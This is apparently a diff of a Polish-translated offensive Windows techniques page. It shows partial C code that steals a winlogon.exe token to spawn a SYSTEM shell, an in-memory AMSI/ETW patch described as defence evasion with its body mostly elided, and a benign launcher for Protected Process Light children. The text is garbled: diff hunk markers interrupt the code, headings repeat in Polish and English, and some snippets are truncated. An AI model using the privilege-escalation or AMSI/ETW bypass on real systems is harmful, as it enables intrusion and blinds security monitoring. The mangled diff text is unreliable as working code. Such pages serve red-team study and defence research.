## Uruchomienie powłoki SYSTEM za pomocą duplikacji tokena (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
Jeśli bieżący proces posiada **oba** uprawnienia `SeDebug` i `SeImpersonate` (typowe dla wielu kont serwisowych), możesz ukraść token z `winlogon.exe`, zduplikować go i uruchomić podwyższony proces:
## Spawn SYSTEM shell via token duplication (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
Jeśli bieżący proces ma przyznane **oba** uprawnienia `SeDebug` i `SeImpersonate` (typowe dla wielu kont usługowych), możesz ukraść token z procesu `winlogon.exe`, zdublować go i uruchomić proces z uprzywilejowaniami:
```c
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
#include <windows.h>
@ -102,7 +102,7 @@ DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPri
STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
@ -114,16 +114,14 @@ if (dupToken) CloseHandle(dupToken);
return 0;
}
```
Dla głębszego wyjaśnienia, jak to działa, zobacz:
{{#ref}}
sedebug-+-seimpersonate-copy-token.md
{{#endref}}
---
## Łatka AMSI i ETW w pamięci (Unikanie obrony)
Większość nowoczesnych silników AV/EDR polega na **AMSI** i **ETW** do inspekcji złośliwych zachowań. Łatwienie obu interfejsów na wczesnym etapie w bieżącym procesie zapobiega skanowaniu ładunków opartych na skryptach (np. PowerShell, JScript).
## In-Memory AMSI & ETW Patch (Defence Evasion)
Większość nowoczesnych silników AV/EDR polega na **AMSI** i **ETW** przy wykrywaniu złośliwych zachowań. Wczesne załatanie obu interfejsów w obrębie bieżącego procesu uniemożliwia skanowanie ładunków opartych na skryptach (np. PowerShell, JScript).
```c
// gcc -o patch_amsi.exe patch_amsi.c -lntdll
#define _CRT_SECURE_NO_WARNINGS
@ -150,12 +148,56 @@ MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
return 0;
}
```
*Łatka powyżej jest lokalna dla procesu; uruchomienie nowego PowerShella po jej zastosowaniu będzie działać bez inspekcji AMSI/ETW.*
*Powyższa łatka działa tylko lokalnie w procesie; uruchomienie nowego PowerShell po jej zastosowaniu spowoduje wykonanie bez inspekcji AMSI/ETW.*
---
## Odniesienia
## Utwórz proces potomny jako Protected Process Light (PPL)
Zażądaj poziomu ochrony PPL dla procesu potomnego w czasie tworzenia, używając `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL`. Jest to udokumentowane API i powiedzie się tylko wtedy, gdy docelowy obraz jest podpisany dla żądanej klasy sygnatariusza (Windows/WindowsLight/Antimalware/LSA/WinTcb).
```c
// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
#include <windows.h>
int wmain(void) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&lvl, sizeof(lvl), NULL, NULL);
if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
return 1;
}
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
```
Najczęściej używane poziomy:
- `PROTECTION_LEVEL_WINDOWS_LIGHT` (2)
- `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3)
- `PROTECTION_LEVEL_LSA_LIGHT` (4)
Zweryfikuj wynik za pomocą Process Explorer/Process Hacker, sprawdzając kolumnę Protection.
---
## Źródła
* Ron Bowes “Fodhelper UAC Bypass Deep Dive” (2024)
* SplinterCode “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
* CreateProcessAsPPL minimalny uruchamiacz procesu PPL: https://github.com/2x7EQ13/CreateProcessAsPPL
* Microsoft Docs STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
{{#include ../../banners/hacktricks-training.md}}